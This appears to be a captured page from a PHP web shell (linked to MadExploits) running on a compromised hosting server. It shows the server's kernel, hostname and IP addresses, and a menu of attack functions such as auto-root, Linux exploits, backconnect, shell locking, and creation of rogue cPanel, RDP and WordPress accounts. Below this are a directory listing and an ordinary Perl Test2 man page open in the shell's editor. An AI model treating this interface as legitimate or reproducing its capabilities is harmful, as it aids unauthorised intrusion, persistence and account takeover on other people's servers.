Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.137.174.253
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
share /
man /
man3 /
[ HOME SHELL ]
Name
Size
Permission
Action
App::cpanminus.3pm
14.28
KB
-r--r--r--
App::cpanminus::fatscript.3pm
26.28
KB
-r--r--r--
Bundle::DBD::mysql.3pm
4.09
KB
-r--r--r--
CPAN::Meta::Requirements.3pm
13.78
KB
-r--r--r--
CPAN::Meta::YAML.3pm
5.89
KB
-r--r--r--
Canary::Stability.3pm
5.84
KB
-r--r--r--
DBD::mysql.3pm
48.68
KB
-r--r--r--
DBD::mysql::INSTALL.3pm
30.13
KB
-r--r--r--
Data::Dump.3pm
10.51
KB
-r--r--r--
Data::Dump::Filtered.3pm
10.39
KB
-r--r--r--
Data::Dump::Trace.3pm
9
KB
-r--r--r--
Data::Validate::IP.3pm
15.68
KB
-r--r--r--
Devel::CheckLib.3pm
11.45
KB
-r--r--r--
Digest::MD5.3pm
16.16
KB
-r--r--r--
Error.3pm
21.39
KB
-r--r--r--
Error::Simple.3pm
8.15
KB
-r--r--r--
Expect.3pm
60.58
KB
-r--r--r--
Exporter.3pm
22.74
KB
-r--r--r--
Exporter::Heavy.3pm
4.1
KB
-r--r--r--
File::Copy::Recursive.3pm
18.63
KB
-r--r--r--
File::LckPwdF.3pm
11.21
KB
-r--r--r--
File::Path.3pm
32.74
KB
-r--r--r--
File::ReadBackwards.3pm
10.38
KB
-r--r--r--
File::Temp.3pm
39.49
KB
-r--r--r--
HTML::TagParser.3pm
14.01
KB
-r--r--r--
HTTP::Date.3pm
9.36
KB
-r--r--r--
HTTP::Tiny.3pm
29.24
KB
-r--r--r--
IO::AtomicFile.3pm
7.02
KB
-r--r--r--
IO::InnerFile.3pm
7.66
KB
-r--r--r--
IO::Lines.3pm
5.46
KB
-r--r--r--
IO::Pty.3pm
10.14
KB
-r--r--r--
IO::Scalar.3pm
12.19
KB
-r--r--r--
IO::ScalarArray.3pm
12.04
KB
-r--r--r--
IO::Stringy.3pm
5.72
KB
-r--r--r--
IO::Tty.3pm
9.91
KB
-r--r--r--
IO::Tty::Constant.3pm
11.25
KB
-r--r--r--
IO::Wrap.3pm
12.18
KB
-r--r--r--
IO::WrapTie.3pm
16.4
KB
-r--r--r--
JSON.3pm
64.46
KB
-r--r--r--
JSON::Syck.3pm
9.67
KB
-r--r--r--
JSON::XS.3pm
88.67
KB
-r--r--r--
JSON::XS::Boolean.3pm
4.55
KB
-r--r--r--
JSON::backportPP.3pm
65.09
KB
-r--r--r--
JSON::backportPP::Boolean.3pm
4.52
KB
-r--r--r--
JSON::backportPP::Compat5005.3...
4.39
KB
-r--r--r--
JSON::backportPP::Compat5006.3...
4.39
KB
-r--r--r--
Mail::RFC822::Address.3pm
7.11
KB
-r--r--r--
Mock::Config.3pm
7.73
KB
-r--r--r--
Module::Load.3pm
11.18
KB
-r--r--r--
Module::Load::Conditional.3pm
14.24
KB
-r--r--r--
NetAddr::IP.3pm
38.15
KB
-r--r--r--
NetAddr::IP::InetBase.3pm
14.65
KB
-r--r--r--
NetAddr::IP::Lite.3pm
26.89
KB
-r--r--r--
NetAddr::IP::Util.3pm
23.49
KB
-r--r--r--
NetAddr::IP::UtilPP.3pm
11.04
KB
-r--r--r--
POD2::DE::local::lib.3pm
24.23
KB
-r--r--r--
POD2::PT_BR::local::lib.3pm
24.62
KB
-r--r--r--
Path::Tiny.3pm
52.88
KB
-r--r--r--
Storable.3pm
45.41
KB
-r--r--r--
Template::Toolkit::Simple.3pm
13.37
KB
-r--r--r--
Test2.3pm
11.13
KB
-r--r--r--
Test2::API.3pm
37.22
KB
-r--r--r--
Test2::API::Breakage.3pm
6.63
KB
-r--r--r--
Test2::API::Context.3pm
25.52
KB
-r--r--r--
Test2::API::Instance.3pm
14.72
KB
-r--r--r--
Test2::API::InterceptResult.3p...
22
KB
-r--r--r--
Test2::API::InterceptResult::E...
26.72
KB
-r--r--r--
Test2::API::InterceptResult::H...
4.64
KB
-r--r--r--
Test2::API::InterceptResult::S...
4.77
KB
-r--r--r--
Test2::API::Stack.3pm
8.18
KB
-r--r--r--
Test2::Event.3pm
22.81
KB
-r--r--r--
Test2::Event::Bail.3pm
5.15
KB
-r--r--r--
Test2::Event::Diag.3pm
5.02
KB
-r--r--r--
Test2::Event::Encoding.3pm
5.36
KB
-r--r--r--
Test2::Event::Exception.3pm
5.3
KB
-r--r--r--
Test2::Event::Fail.3pm
4.93
KB
-r--r--r--
Test2::Event::Generic.3pm
9.66
KB
-r--r--r--
Test2::Event::Note.3pm
5.01
KB
-r--r--r--
Test2::Event::Ok.3pm
5.69
KB
-r--r--r--
Test2::Event::Pass.3pm
4.93
KB
-r--r--r--
Test2::Event::Plan.3pm
5.58
KB
-r--r--r--
Test2::Event::Skip.3pm
5.34
KB
-r--r--r--
Test2::Event::Subtest.3pm
5.25
KB
-r--r--r--
Test2::Event::TAP::Version.3pm
5.18
KB
-r--r--r--
Test2::Event::V2.3pm
8.26
KB
-r--r--r--
Test2::Event::Waiting.3pm
4.8
KB
-r--r--r--
Test2::EventFacet.3pm
5.57
KB
-r--r--r--
Test2::EventFacet::About.3pm
6.37
KB
-r--r--r--
Test2::EventFacet::Amnesty.3pm
6.16
KB
-r--r--r--
Test2::EventFacet::Assert.3pm
6.41
KB
-r--r--r--
Test2::EventFacet::Control.3pm
7.4
KB
-r--r--r--
Test2::EventFacet::Error.3pm
6.26
KB
-r--r--r--
Test2::EventFacet::Hub.3pm
7.12
KB
-r--r--r--
Test2::EventFacet::Info.3pm
8.17
KB
-r--r--r--
Test2::EventFacet::Info::Table...
7.16
KB
-r--r--r--
Test2::EventFacet::Meta.3pm
5.22
KB
-r--r--r--
Test2::EventFacet::Parent.3pm
6.31
KB
-r--r--r--
Test2::EventFacet::Plan.3pm
6.67
KB
-r--r--r--
Test2::EventFacet::Render.3pm
6.84
KB
-r--r--r--
Test2::EventFacet::Trace.3pm
12.58
KB
-r--r--r--
Test2::Formatter.3pm
7.9
KB
-r--r--r--
Test2::Formatter::TAP.3pm
6.38
KB
-r--r--r--
Test2::Hub.3pm
18.36
KB
-r--r--r--
Test2::Hub::Interceptor.3pm
4.63
KB
-r--r--r--
Test2::Hub::Interceptor::Termi...
4.67
KB
-r--r--r--
Test2::Hub::Subtest.3pm
5.48
KB
-r--r--r--
Test2::IPC.3pm
5.18
KB
-r--r--r--
Test2::IPC::Driver.3pm
10.51
KB
-r--r--r--
Test2::IPC::Driver::Files.3pm
5.49
KB
-r--r--r--
Test2::Tools::Tiny.3pm
8.45
KB
-r--r--r--
Test2::Transition.3pm
19.71
KB
-r--r--r--
Test2::Util.3pm
9.42
KB
-r--r--r--
Test2::Util::ExternalMeta.3pm
7.22
KB
-r--r--r--
Test2::Util::Facets2Legacy.3pm
9.88
KB
-r--r--r--
Test2::Util::HashBase.3pm
13.91
KB
-r--r--r--
Test2::Util::Trace.3pm
4.74
KB
-r--r--r--
Test::Builder.3pm
28.79
KB
-r--r--r--
Test::Builder::Formatter.3pm
4.85
KB
-r--r--r--
Test::Builder::IO::Scalar.3pm
11.27
KB
-r--r--r--
Test::Builder::Module.3pm
7.35
KB
-r--r--r--
Test::Builder::Tester.3pm
13.04
KB
-r--r--r--
Test::Builder::Tester::Color.3...
4.82
KB
-r--r--r--
Test::Builder::TodoDiag.3pm
4.82
KB
-r--r--r--
Test::Deep.3pm
47.56
KB
-r--r--r--
Test::Deep::NoTest.3pm
4.33
KB
-r--r--r--
Test::Fatal.3pm
10.69
KB
-r--r--r--
Test::File.3pm
23.7
KB
-r--r--r--
Test::More.3pm
43.96
KB
-r--r--r--
Test::Needs.3pm
7.27
KB
-r--r--r--
Test::Requires.3pm
5.93
KB
-r--r--r--
Test::Simple.3pm
10.67
KB
-r--r--r--
Test::Tester.3pm
17.76
KB
-r--r--r--
Test::Tester::Capture.3pm
4.59
KB
-r--r--r--
Test::Tester::CaptureRunner.3p...
4.37
KB
-r--r--r--
Test::Tutorial.3pm
25.46
KB
-r--r--r--
Test::Warnings.3pm
15.7
KB
-r--r--r--
Test::use::ok.3pm
5.52
KB
-r--r--r--
Text::Aligner.3pm
9.77
KB
-r--r--r--
Text::Table.3pm
27.18
KB
-r--r--r--
Time::Local.3pm
15.63
KB
-r--r--r--
Try::Tiny.3pm
22.09
KB
-r--r--r--
URI.3pm
40.31
KB
-r--r--r--
URI::Escape.3pm
9.58
KB
-r--r--r--
URI::Heuristic.3pm
6.84
KB
-r--r--r--
URI::QueryParam.3pm
8.26
KB
-r--r--r--
URI::Split.3pm
5.73
KB
-r--r--r--
URI::URL.3pm
6.19
KB
-r--r--r--
URI::WithBase.3pm
5.91
KB
-r--r--r--
URI::_punycode.3pm
6.32
KB
-r--r--r--
URI::data.3pm
5.98
KB
-r--r--r--
URI::file.3pm
12.16
KB
-r--r--r--
URI::ldap.3pm
7.36
KB
-r--r--r--
YAML::LibYAML.3pm
4.51
KB
-r--r--r--
YAML::Syck.3pm
12.34
KB
-r--r--r--
YAML::XS.3pm
9.57
KB
-r--r--r--
YAML::XS::LibYAML.3pm
3.99
KB
-r--r--r--
lib::core::only.3pm
7.28
KB
-r--r--r--
local::lib.3pm
32.78
KB
-r--r--r--
ok.3pm
4.55
KB
-r--r--r--
version.3pm
15.37
KB
-r--r--r--
version::Internals.3pm
31.34
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Test2::EventFacet::Trace.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28) .\" .\" Standard preamble: .\" ======================================================================== .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. \*(C+ will .\" give a nicer C++. Capital omega is used to do unbreakable dashes and .\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, .\" nothing in troff, for use with C<>. .tr \(*W- .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' . ds C` . ds C' 'br\} .\" .\" Escape single quotes in literal strings from groff's Unicode transform. .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .\" .\" Avoid warning from groff about undefined register 'F'. .de IX .. .nr rF 0 .if \n(.g .if rF .nr rF 1 .if (\n(rF:(\n(.g==0)) \{ . if \nF \{ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . if !\nF==2 \{ . nr % 0 . nr F 2 . \} . \} .\} .rr rF .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "Test2::EventFacet::Trace 3" .TH Test2::EventFacet::Trace 3 "2022-03-04" "perl v5.16.3" "User Contributed Perl Documentation" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .if n .ad l .nh .SH "NAME" Test2::EventFacet::Trace \- Debug information for events .SH "DESCRIPTION" .IX Header "DESCRIPTION" The Test2::API::Context object, as well as all Test2::Event types need to have access to information about where they were created. This object represents that information. .SH "SYNOPSIS" .IX Header "SYNOPSIS" .Vb 1 \& use Test2::EventFacet::Trace; \& \& my $trace = Test2::EventFacet::Trace\->new( \& frame => [$package, $file, $line, $subname], \& ); .Ve .SH "FACET FIELDS" .IX Header "FACET FIELDS" .ie n .IP "$string = $trace\->{details}" 4 .el .IP "\f(CW$string\fR = \f(CW$trace\fR\->{details}" 4 .IX Item "$string = $trace->{details}" .PD 0 .ie n .IP "$string = $trace\->\fIdetails()\fR" 4 .el .IP "\f(CW$string\fR = \f(CW$trace\fR\->\fIdetails()\fR" 4 .IX Item "$string = $trace->details()" .PD Used as a custom trace message that will be used \s-1INSTEAD\s0 of \&\f(CW\*(C`at <FILE> line <LINE>\*(C'\fR when calling \f(CW\*(C`$trace\->debug\*(C'\fR. .ie n .IP "$frame = $trace\->{frame}" 4 .el .IP "\f(CW$frame\fR = \f(CW$trace\fR\->{frame}" 4 .IX Item "$frame = $trace->{frame}" .PD 0 .ie n .IP "$frame = $trace\->\fIframe()\fR" 4 .el .IP "\f(CW$frame\fR = \f(CW$trace\fR\->\fIframe()\fR" 4 .IX Item "$frame = $trace->frame()" .PD Get the call frame arrayref. .Sp .Vb 1 \& [$package, $file, $line, $subname] .Ve .ie n .IP "$int = $trace\->{pid}" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->{pid}" 4 .IX Item "$int = $trace->{pid}" .PD 0 .ie n .IP "$int = $trace\->\fIpid()\fR" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->\fIpid()\fR" 4 .IX Item "$int = $trace->pid()" .PD The process \s-1ID\s0 in which the event was generated. .ie n .IP "$int = $trace\->{tid}" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->{tid}" 4 .IX Item "$int = $trace->{tid}" .PD 0 .ie n .IP "$int = $trace\->\fItid()\fR" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->\fItid()\fR" 4 .IX Item "$int = $trace->tid()" .PD The thread \s-1ID\s0 in which the event was generated. .ie n .IP "$id = $trace\->{cid}" 4 .el .IP "\f(CW$id\fR = \f(CW$trace\fR\->{cid}" 4 .IX Item "$id = $trace->{cid}" .PD 0 .ie n .IP "$id = $trace\->\fIcid()\fR" 4 .el .IP "\f(CW$id\fR = \f(CW$trace\fR\->\fIcid()\fR" 4 .IX Item "$id = $trace->cid()" .PD The \s-1ID\s0 of the context that was used to create the event. .ie n .IP "$uuid = $trace\->{uuid}" 4 .el .IP "\f(CW$uuid\fR = \f(CW$trace\fR\->{uuid}" 4 .IX Item "$uuid = $trace->{uuid}" .PD 0 .ie n .IP "$uuid = $trace\->\fIuuid()\fR" 4 .el .IP "\f(CW$uuid\fR = \f(CW$trace\fR\->\fIuuid()\fR" 4 .IX Item "$uuid = $trace->uuid()" .PD The \s-1UUID\s0 of the context that was used to create the event. (If uuid tagging was enabled) .ie n .IP "($pkg, $file, $line, $subname) = $trace\->call" 4 .el .IP "($pkg, \f(CW$file\fR, \f(CW$line\fR, \f(CW$subname\fR) = \f(CW$trace\fR\->call" 4 .IX Item "($pkg, $file, $line, $subname) = $trace->call" Get the basic call info as a list. .ie n .IP "@caller = $trace\->full_call" 4 .el .IP "\f(CW@caller\fR = \f(CW$trace\fR\->full_call" 4 .IX Item "@caller = $trace->full_call" Get the full caller(N) results. .ie n .IP "$warning_bits = $trace\->warning_bits" 4 .el .IP "\f(CW$warning_bits\fR = \f(CW$trace\fR\->warning_bits" 4 .IX Item "$warning_bits = $trace->warning_bits" Get index 9 from the full caller info. This is the warnings_bits field. .Sp The value of this is not portable across perl versions or even processes. However it can be used in the process that generated it to reproduce the warnings settings in a new scope. .Sp .Vb 4 \& eval <<EOT; \& BEGIN { ${^WARNING_BITS} = $trace\->warning_bits }; \& ... context\*(Aqs warning settings apply here ... \& EOT .Ve .SS "\s-1DISCOURAGED HUB RELATED FIELDS\s0" .IX Subsection "DISCOURAGED HUB RELATED FIELDS" These fields were not always set properly by tools. These are \fB\s-1MOSTLY\s0\fR deprecated by the Test2::EventFacet::Hub facets. These fields are not required, and may only reflect the hub that was current when the event was created, which is not necessarily the same as the hub the event was sent through. .PP Some tools did do a good job setting these to the correct hub, but you cannot always rely on that. Use the 'hubs' facet list instead. .ie n .IP "$hid = $trace\->{hid}" 4 .el .IP "\f(CW$hid\fR = \f(CW$trace\fR\->{hid}" 4 .IX Item "$hid = $trace->{hid}" .PD 0 .ie n .IP "$hid = $trace\->\fIhid()\fR" 4 .el .IP "\f(CW$hid\fR = \f(CW$trace\fR\->\fIhid()\fR" 4 .IX Item "$hid = $trace->hid()" .PD The \s-1ID\s0 of the hub that was current when the event was created. .ie n .IP "$huuid = $trace\->{huuid}" 4 .el .IP "\f(CW$huuid\fR = \f(CW$trace\fR\->{huuid}" 4 .IX Item "$huuid = $trace->{huuid}" .PD 0 .ie n .IP "$huuid = $trace\->\fIhuuid()\fR" 4 .el .IP "\f(CW$huuid\fR = \f(CW$trace\fR\->\fIhuuid()\fR" 4 .IX Item "$huuid = $trace->huuid()" .PD The \s-1UUID\s0 of the hub that was current when the event was created. (If uuid tagging was enabled). .ie n .IP "$int = $trace\->{nested}" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->{nested}" 4 .IX Item "$int = $trace->{nested}" .PD 0 .ie n .IP "$int = $trace\->\fInested()\fR" 4 .el .IP "\f(CW$int\fR = \f(CW$trace\fR\->\fInested()\fR" 4 .IX Item "$int = $trace->nested()" .PD How deeply nested the event is. .ie n .IP "$bool = $trace\->{buffered}" 4 .el .IP "\f(CW$bool\fR = \f(CW$trace\fR\->{buffered}" 4 .IX Item "$bool = $trace->{buffered}" .PD 0 .ie n .IP "$bool = $trace\->\fIbuffered()\fR" 4 .el .IP "\f(CW$bool\fR = \f(CW$trace\fR\->\fIbuffered()\fR" 4 .IX Item "$bool = $trace->buffered()" .PD True if the event was buffered and not sent to the formatter independent of a parent (This should never be set when nested is \f(CW0\fR or \f(CW\*(C`undef\*(C'\fR). .SH "METHODS" .IX Header "METHODS" \&\fBNote:\fR All facet frames are also methods. .ie n .IP "$trace\->set_detail($msg)" 4 .el .IP "\f(CW$trace\fR\->set_detail($msg)" 4 .IX Item "$trace->set_detail($msg)" .PD 0 .ie n .IP "$msg = $trace\->detail" 4 .el .IP "\f(CW$msg\fR = \f(CW$trace\fR\->detail" 4 .IX Item "$msg = $trace->detail" .PD Used to get/set a custom trace message that will be used \s-1INSTEAD\s0 of \&\f(CW\*(C`at <FILE> line <LINE>\*(C'\fR when calling \f(CW\*(C`$trace\->debug\*(C'\fR. .Sp \&\f(CW\*(C`detail()\*(C'\fR is an alias to the \f(CW\*(C`details\*(C'\fR facet field for backwards compatibility. .ie n .IP "$str = $trace\->debug" 4 .el .IP "\f(CW$str\fR = \f(CW$trace\fR\->debug" 4 .IX Item "$str = $trace->debug" Typically returns the string \f(CW\*(C`at <FILE> line <LINE>\*(C'\fR. If \f(CW\*(C`detail\*(C'\fR is set then its value will be returned instead. .ie n .IP "$trace\->alert($MESSAGE)" 4 .el .IP "\f(CW$trace\fR\->alert($MESSAGE)" 4 .IX Item "$trace->alert($MESSAGE)" This issues a warning at the frame (filename and line number where errors should be reported). .ie n .IP "$trace\->throw($MESSAGE)" 4 .el .IP "\f(CW$trace\fR\->throw($MESSAGE)" 4 .IX Item "$trace->throw($MESSAGE)" This throws an exception at the frame (filename and line number where errors should be reported). .ie n .IP "($package, $file, $line, $subname) = $trace\->\fIcall()\fR" 4 .el .IP "($package, \f(CW$file\fR, \f(CW$line\fR, \f(CW$subname\fR) = \f(CW$trace\fR\->\fIcall()\fR" 4 .IX Item "($package, $file, $line, $subname) = $trace->call()" Get the caller details for the debug-info. This is where errors should be reported. .ie n .IP "$pkg = $trace\->package" 4 .el .IP "\f(CW$pkg\fR = \f(CW$trace\fR\->package" 4 .IX Item "$pkg = $trace->package" Get the debug-info package. .ie n .IP "$file = $trace\->file" 4 .el .IP "\f(CW$file\fR = \f(CW$trace\fR\->file" 4 .IX Item "$file = $trace->file" Get the debug-info filename. .ie n .IP "$line = $trace\->line" 4 .el .IP "\f(CW$line\fR = \f(CW$trace\fR\->line" 4 .IX Item "$line = $trace->line" Get the debug-info line number. .ie n .IP "$subname = $trace\->subname" 4 .el .IP "\f(CW$subname\fR = \f(CW$trace\fR\->subname" 4 .IX Item "$subname = $trace->subname" Get the debug-info subroutine name. .ie n .IP "$sig = trace\->signature" 4 .el .IP "\f(CW$sig\fR = trace\->signature" 4 .IX Item "$sig = trace->signature" Get a signature string that identifies this trace. This is used to check if multiple events are related. The signature includes pid, tid, file, line number, and the cid. .SH "SOURCE" .IX Header "SOURCE" The source code repository for Test2 can be found at \&\fIhttp://github.com/Test\-More/test\-more/\fR. .SH "MAINTAINERS" .IX Header "MAINTAINERS" .IP "Chad Granum <exodist@cpan.org>" 4 .IX Item "Chad Granum <exodist@cpan.org>" .SH "AUTHORS" .IX Header "AUTHORS" .PD 0 .IP "Chad Granum <exodist@cpan.org>" 4 .IX Item "Chad Granum <exodist@cpan.org>" .PD .SH "COPYRIGHT" .IX Header "COPYRIGHT" Copyright 2020 Chad Granum <exodist@cpan.org>. .PP This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. .PP See \fIhttp://dev.perl.org/licenses/\fR
Close